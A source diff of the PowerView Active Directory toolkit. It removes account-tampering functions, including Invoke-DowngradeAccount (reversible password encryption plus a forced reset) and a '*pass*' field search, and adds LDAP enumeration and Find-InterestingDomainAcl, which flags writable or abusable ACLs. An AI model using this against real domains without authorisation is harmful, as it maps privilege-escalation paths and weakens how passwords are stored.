+Finds interesting object ACLS in the current domain.
- PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName countrycode -PropertyValue 0
-
- Set the countrycode for matt.admin to 0
+.EXAMPLE
- .EXAMPLE
+Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs
- PS C:\> Set-ADObject -SamAccountName matt.admin -PropertyName useraccountcontrol -PropertyXorValue 65536
-
- Set the password not to expire on matt.admin
+Finds interesting object ACLS in the ev.testlab.local domain and
+resolves rights GUIDs to display names.
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs
+
+.OUTPUTS
+
+PowerView.ACL
+
+Custom PSObject with ACL entries.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('DomainName', 'Name')]
[String]
- $SID,
+ $Domain,
- [String]
- $Name,
+ [Switch]
+ $ResolveGUIDs,
[String]
- $SamAccountName,
+ [ValidateSet('All', 'ResetPassword', 'WriteMembers')]
+ $RightsFilter,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $Domain,
+ $LDAPFilter,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $DomainController,
+ $SearchBase,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $Filter,
+ $Server,
- [Parameter(Mandatory = $True)]
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $PropertyName,
+ $SearchScope = 'Subtree',
- $PropertyValue,
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+ [ValidateRange(1, 10000)]
[Int]
- $PropertyXorValue,
+ $ServerTimeLimit,
[Switch]
- $ClearValue,
-
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200,
+ $Tombstone,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- $Arguments = @{
- 'SID' = $SID
- 'Name' = $Name
- 'SamAccountName' = $SamAccountName
- 'Domain' = $Domain
- 'DomainController' = $DomainController
- 'Filter' = $Filter
- 'PageSize' = $PageSize
- 'Credential' = $Credential
- }
- # splat the appropriate arguments to Get-ADObject
- $RawObject = Get-ADObject -ReturnRaw @Arguments
-
- try {
- # get the modifiable object for this search result
- $Entry = $RawObject.GetDirectoryEntry()
-
- if($ClearValue) {
- Write-Verbose "Clearing value"
- $Entry.$PropertyName.clear()
- $Entry.commitchanges()
+ BEGIN {
+ $ACLArguments = @{}
+ if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs }
+ if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter }
+ if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter }
+ if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential }
+
+ $ObjectSearcherArguments = @{
+ 'Properties' = 'samaccountname,objectclass'
+ 'Raw' = $True
+ }
+ if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential }
+
+ $ADNameArguments = @{}
+ if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server }
+ if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential }
+
+ # ongoing list of built-up SIDs
+ $ResolvedSIDs = @{}
+ }
+
+ PROCESS {
+ if ($PSBoundParameters['Domain']) {
+ $ACLArguments['Domain'] = $Domain
+ $ADNameArguments['Domain'] = $Domain
}
- elseif($PropertyXorValue) {
- $TypeName = $Entry.$PropertyName[0].GetType().name
+ Get-DomainObjectAcl @ACLArguments | ForEach-Object {
- # UAC value references- https://support.microsoft.com/en-us/kb/305144
- $PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
- $Entry.$PropertyName = $PropertyValue -as $TypeName
- $Entry.commitchanges()
- }
+ if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) {
+ # only process SIDs > 1000
+ if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') {
+ if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) {
+ $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value]
- else {
- $Entry.put($PropertyName, $PropertyValue)
- $Entry.setinfo()
+ $InterestingACL = New-Object PSObject
+ $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
+ $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
+ $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
+ if ($_.ObjectAceType) {
+ $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
+ }
+ else {
+ $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
+ }
+ $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
+ $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
+ $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
+ $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
+ $InterestingACL
+ }
+ else {
+ $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments
+ # "IdentityReferenceDN: $IdentityReferenceDN"
+
+ if ($IdentityReferenceDN) {
+ $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
+ # "IdentityReferenceDomain: $IdentityReferenceDomain"
+ $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain
+ $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN
+ # "IdentityReferenceDN: $IdentityReferenceDN"
+ $Object = Get-DomainObject @ObjectSearcherArguments
+
+ if ($Object) {
+ $IdentityReferenceName = $Object.Properties.samaccountname[0]
+ if ($Object.Properties.objectclass -match 'computer') {
+ $IdentityReferenceClass = 'computer'
+ }
+ elseif ($Object.Properties.objectclass -match 'group') {
+ $IdentityReferenceClass = 'group'
+ }
+ elseif ($Object.Properties.objectclass -match 'user') {
+ $IdentityReferenceClass = 'user'
+ }
+ else {
+ $IdentityReferenceClass = $Null
+ }
+
+ # save so we don't look up more than once
+ $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass
+
+ $InterestingACL = New-Object PSObject
+ $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN
+ $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier
+ $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights
+ if ($_.ObjectAceType) {
+ $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType
+ }
+ else {
+ $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None'
+ }
+ $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags
+ $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType
+ $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags
+ $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
+ $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
+ $InterestingACL
+ }
+ }
+ else {
+ Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName"
+ }
+ }
+ }
+ }
}
}
- catch {
- Write-Warning "Error setting property $PropertyName to value '$PropertyValue' for object $($RawObject.Properties.samaccountname) : $_"
- }
}
-function Invoke-DowngradeAccount {
+function Get-DomainOU {
<#
- .SYNOPSIS
+.SYNOPSIS
- Set reversible encryption on a given account and then force the password
- to be set on next user login. To repair use "-Repair".
+Search for all organization units (OUs) or specific OU objects in AD.
- .PARAMETER SamAccountName
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
- The SamAccountName of the domain object you're querying for.
+.DESCRIPTION
- .PARAMETER Name
+Builds a directory searcher object using Get-DomainSearcher, builds a custom
+LDAP filter based on targeting/filter parameters, and searches for all objects
+matching the criteria. To only return specific properties, use
+"-Properties whencreated,usnchanged,...". By default, all OU objects for
+the current domain are returned.
- The Name of the domain object you're querying for.
+.PARAMETER Identity
- .PARAMETER Domain
+An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
+GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted.
- The domain to query for objects, defaults to the current domain.
+.PARAMETER GPLink
- .PARAMETER DomainController
+Only return OUs with the specified GUID in their gplink property.
- Domain controller to reflect LDAP queries through.
+.PARAMETER Domain
- .PARAMETER Filter
+Specifies the domain to use for the query, defaults to the current domain.
- Additional LDAP filter string for the query.
+.PARAMETER LDAPFilter
- .PARAMETER Repair
+Specifies an LDAP query string that is used to filter Active Directory objects.
- Switch. Unset the reversible encryption flag and force password reset flag.
+.PARAMETER Properties
- .PARAMETER Credential
+Specifies the properties of the output object to retrieve from the server.
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.PARAMETER SearchBase
- .EXAMPLE
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- PS> Invoke-DowngradeAccount -SamAccountName jason
+.PARAMETER Server
- Set reversible encryption on the 'jason' account and force the password to be changed.
+Specifies an Active Directory server (domain controller) to bind to.
- .EXAMPLE
+.PARAMETER SearchScope
- PS> Invoke-DowngradeAccount -SamAccountName jason -Repair
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- Unset reversible encryption on the 'jason' account and remove the forced password change.
-#>
+.PARAMETER ResultPageSize
- [CmdletBinding()]
- Param (
- [Parameter(ParameterSetName = 'SamAccountName', Position=0, ValueFromPipeline=$True)]
- [String]
- $SamAccountName,
-
- [Parameter(ParameterSetName = 'Name')]
- [String]
- $Name,
+Specifies the PageSize to set for the LDAP searcher object.
- [String]
- $Domain,
-
- [String]
- $DomainController,
+.PARAMETER ServerTimeLimit
- [String]
- $Filter,
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- [Switch]
- $Repair,
+.PARAMETER SecurityMasks
- [Management.Automation.PSCredential]
- $Credential
- )
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
- process {
- $Arguments = @{
- 'SamAccountName' = $SamAccountName
- 'Name' = $Name
- 'Domain' = $Domain
- 'DomainController' = $DomainController
- 'Filter' = $Filter
- 'Credential' = $Credential
- }
+.PARAMETER FindOne
- # splat the appropriate arguments to Get-ADObject
- $UACValues = Get-ADObject @Arguments | select useraccountcontrol | ConvertFrom-UACValue
+Only return one result object.
- if($Repair) {
+.PARAMETER Tombstone
- if($UACValues.Keys -contains "ENCRYPTED_TEXT_PWD_ALLOWED") {
- # if reversible encryption is set, unset it
- Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
- }
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- # unset the forced password change
- Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue -1
- }
+.PARAMETER Credential
- else {
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- if($UACValues.Keys -contains "DONT_EXPIRE_PASSWORD") {
- # if the password is set to never expire, unset
- Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 65536
- }
+.PARAMETER Raw
- if($UACValues.Keys -notcontains "ENCRYPTED_TEXT_PWD_ALLOWED") {
- # if reversible encryption is not set, set it
- Set-ADObject @Arguments -PropertyName useraccountcontrol -PropertyXorValue 128
- }
+Switch. Return raw results instead of translating the fields into a custom PSObject.
- # force the password to be changed on next login
- Set-ADObject @Arguments -PropertyName pwdlastset -PropertyValue 0
- }
- }
-}
+.EXAMPLE
+Get-DomainOU
-function Get-ComputerProperty {
-<#
- .SYNOPSIS
+Returns the current OUs in the domain.
- Returns a list of all computer object properties. If a property
- name is specified, it returns all [computer:property] values.
+.EXAMPLE
- Taken directly from @obscuresec's post:
- http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
+Get-DomainOU *admin* -Domain testlab.local
- .PARAMETER Properties
+Returns all OUs with "admin" in their name in the testlab.local domain.
- Return property names for computers.
+.EXAMPLE
- .PARAMETER Domain
+Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
- The domain to query for computer properties, defaults to the current domain.
+Returns all OUs with linked to the specified group policy object.
- .PARAMETER DomainController
+.EXAMPLE
- Domain controller to reflect LDAP queries through.
+"*admin*","*server*" | Get-DomainOU
- .PARAMETER PageSize
+Search for OUs with the specific names.
- The PageSize to set for the LDAP searcher object.
+.EXAMPLE
- .PARAMETER Credential
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainOU -Credential $Cred
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.OUTPUTS
- .EXAMPLE
+PowerView.OU
- PS C:\> Get-ComputerProperty -Domain testing
-
- Returns all user properties for computers in the 'testing' domain.
+Custom PSObject with translated OU property fields.
+#>
- .EXAMPLE
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.OU')]
+ [CmdletBinding()]
+ Param (
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Name')]
+ [String[]]
+ $Identity,
- PS C:\> Get-ComputerProperty -Properties ssn,lastlogon,location
-
- Returns all an array of computer/ssn/lastlogin/location combinations
- for computers in the current domain.
+ [ValidateNotNullOrEmpty()]
+ [String]
+ [Alias('GUID')]
+ $GPLink,
- .LINK
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $Domain,
- http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
-#>
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
+ [String]
+ $LDAPFilter,
- [CmdletBinding()]
- param(
+ [ValidateNotNullOrEmpty()]
[String[]]
$Properties,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $Domain,
+ $SearchBase,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $DomainController,
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ServerTimeLimit,
+
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
+ [String]
+ $SecurityMasks,
+
+ [Switch]
+ $Tombstone,
+
+ [Alias('ReturnOne')]
+ [Switch]
+ $FindOne,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [Switch]
+ $Raw
)
- if($Properties) {
- # extract out the set of all properties for each object
- $Properties = ,"name" + $Properties | Sort-Object -Unique
- Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -Property $Properties
+ BEGIN {
+ $SearcherArguments = @{}
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $OUSearcher = Get-DomainSearcher @SearcherArguments
}
- else {
- # extract out just the property names
- Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -PageSize $PageSize | Select-Object -first 1 | Get-Member -MemberType *Property | Select-Object -Property "Name"
- }
-}
-
-
-function Find-ComputerField {
-<#
- .SYNOPSIS
- Searches computer object fields for a given word (default *pass*). Default
- field being searched is 'description'.
+ PROCESS {
+ if ($OUSearcher) {
+ $IdentityFilter = ''
+ $Filter = ''
+ $Identity | Where-Object {$_} | ForEach-Object {
+ $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
+ if ($IdentityInstance -match '^OU=.*') {
+ $IdentityFilter += "(distinguishedname=$IdentityInstance)"
+ }
+ else {
+ try {
+ $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
+ $IdentityFilter += "(objectguid=$GuidByteString)"
+ }
+ catch {
+ $IdentityFilter += "(name=$IdentityInstance)"
+ }
+ }
+ }
+ if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
+ $Filter += "(|$IdentityFilter)"
+ }
- Taken directly from @obscuresec's post:
- http://obscuresecurity.blogspot.com/2014/04/ADSISearcher.html
+ if ($PSBoundParameters['GPLink']) {
+ Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"
+ $Filter += "(gplink=*$GPLink*)"
+ }
- .PARAMETER SearchTerm
+ if ($PSBoundParameters['LDAPFilter']) {
+ Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"
+ $Filter += "$LDAPFilter"
+ }
- Term to search for, default of "pass".
+ $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
+ Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"
- .PARAMETER SearchField
+ if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }
+ else { $Results = $OUSearcher.FindAll() }
+ $Results | Where-Object {$_} | ForEach-Object {
+ if ($PSBoundParameters['Raw']) {
+ # return raw result objects
+ $OU = $_
+ }
+ else {
+ $OU = Convert-LDAPProperty -Properties $_.Properties
+ }
+ $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
+ $OU
+ }
+ if ($Results) {
+ try { $Results.dispose() }
+ catch {
+ Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"
+ }
+ }
+ $OUSearcher.dispose()
+ }
+ }
+}
- User field to search in, default of "description".
- .PARAMETER ADSpath
+function Get-DomainSite {
+<#
+.SYNOPSIS
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+Search for all sites or specific site objects in AD.
- .PARAMETER Domain
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
- Domain to search computer fields for, defaults to the current domain.
+.DESCRIPTION
- .PARAMETER DomainController
+Builds a directory searcher object using Get-DomainSearcher, builds a custom
+LDAP filter based on targeting/filter parameters, and searches for all objects
+matching the criteria. To only return specific properties, use
+"-Properties whencreated,usnchanged,...". By default, all site objects for
+the current domain are returned.
- Domain controller to reflect LDAP queries through.
+.PARAMETER Identity
- .PARAMETER PageSize
+An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or
+GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
- The PageSize to set for the LDAP searcher object.
+.PARAMETER GPLink
- .PARAMETER Credential
+Only return sites with the specified GUID in their gplink property.
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.PARAMETER Domain
- .EXAMPLE
+Specifies the domain to use for the query, defaults to the current domain.
- PS C:\> Find-ComputerField -SearchTerm backup -SearchField info
+.PARAMETER LDAPFilter
- Find computer accounts with "backup" in the "info" field.
-#>
+Specifies an LDAP query string that is used to filter Active Directory objects.
- [CmdletBinding()]
- param(
- [Parameter(Position=0,ValueFromPipeline=$True)]
- [Alias('Term')]
- [String]
- $SearchTerm = 'pass',
+.PARAMETER Properties
- [Alias('Field')]
- [String]
- $SearchField = 'description',
+Specifies the properties of the output object to retrieve from the server.
- [String]
- $ADSpath,
+.PARAMETER SearchBase
- [String]
- $Domain,
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
- [String]
- $DomainController,
+.PARAMETER Server
- [ValidateRange(1,10000)]
- [Int]
- $PageSize = 200,
+Specifies an Active Directory server (domain controller) to bind to.
- [Management.Automation.PSCredential]
- $Credential
- )
+.PARAMETER SearchScope
- process {
- Get-NetComputer -ADSpath $ADSpath -Domain $Domain -DomainController $DomainController -Credential $Credential -FullData -Filter "($SearchField=*$SearchTerm*)" -PageSize $PageSize | Select-Object samaccountname,$SearchField
- }
-}
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
+.PARAMETER ResultPageSize
-function Get-NetOU {
-<#
- .SYNOPSIS
+Specifies the PageSize to set for the LDAP searcher object.
- Gets a list of all current OUs in a domain.
+.PARAMETER ServerTimeLimit
- .PARAMETER OUName
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- The OU name to query for, wildcards accepted.
+.PARAMETER SecurityMasks
- .PARAMETER GUID
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
- Only return OUs with the specified GUID in their gplink property.
+.PARAMETER Tombstone
- .PARAMETER Domain
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- The domain to query for OUs, defaults to the current domain.
+.PARAMETER FindOne
- .PARAMETER DomainController
+Only return one result object.
- Domain controller to reflect LDAP queries through.
+.PARAMETER Credential
- .PARAMETER ADSpath
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- The LDAP source to search through.
+.PARAMETER Raw
- .PARAMETER FullData
+Switch. Return raw results instead of translating the fields into a custom PSObject.
- Switch. Return full OU objects instead of just object names (the default).
+.EXAMPLE
- .PARAMETER PageSize
+Get-DomainSite
- The PageSize to set for the LDAP searcher object.
+Returns the current sites in the domain.
- .PARAMETER Credential
+.EXAMPLE
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+Get-DomainSite *admin* -Domain testlab.local
- .EXAMPLE
+Returns all sites with "admin" in their name in the testlab.local domain.
- PS C:\> Get-NetOU
-
- Returns the current OUs in the domain.
+.EXAMPLE
- .EXAMPLE
+Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
- PS C:\> Get-NetOU -OUName *admin* -Domain testlab.local
-
- Returns all OUs with "admin" in their name in the testlab.local domain.
+Returns all sites with linked to the specified group policy object.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-NetOU -GUID 123-...
-
- Returns all OUs with linked to the specified group policy object.
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
+Get-DomainSite -Credential $Cred
- .EXAMPLE
+.OUTPUTS
- PS C:\> "*admin*","*server*" | Get-NetOU
+PowerView.Site
- Get the full OU names for the given search terms piped on the pipeline.
+Custom PSObject with translated site property fields.
#>
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.Site')]
[CmdletBinding()]
Param (
- [Parameter(ValueFromPipeline=$True)]
- [String]
- $OUName = '*',
+ [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('Name')]
+ [String[]]
+ $Identity,
+ [ValidateNotNullOrEmpty()]
[String]
- $GUID,
+ [Alias('GUID')]
+ $GPLink,
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $DomainController,
+ $LDAPFilter,
+
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
[String]
- $ADSpath,
+ $SearchBase,
- [Switch]
- $FullData,
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
+
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
+ [String]
+ $SecurityMasks,
+
+ [Switch]
+ $Tombstone,
+
+ [Alias('ReturnOne')]
+ [Switch]
+ $FindOne,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty,
+
+ [Switch]
+ $Raw
)
- begin {
- $OUSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize
+ BEGIN {
+ $SearcherArguments = @{
+ 'SearchBasePrefix' = 'CN=Sites,CN=Configuration'
+ }
+ if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
+ if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
+ if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
+ $SiteSearcher = Get-DomainSearcher @SearcherArguments
}
- process {
- if ($OUSearcher) {
- if ($GUID) {
- # if we're filtering for a GUID in .gplink
- $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName)(gplink=*$GUID*))"
- }
- else {
- $OUSearcher.filter="(&(objectCategory=organizationalUnit)(name=$OUName))"
- }
- try {
- $Results = $OUSearcher.FindAll()
- $Results | Where-Object {$_} | ForEach-Object {
- if ($FullData) {
- # convert/process the LDAP fields for each result
- $OU = Convert-LDAPProperty -Properties $_.Properties
- $OU.PSObject.TypeNames.Add('PowerView.OU')
- $OU
+ PROCESS {
+ if ($SiteSearcher) {
+ $IdentityFilter = ''
+ $Filter = ''
+ $Identity | Where-Object {$_} | ForEach-Object {
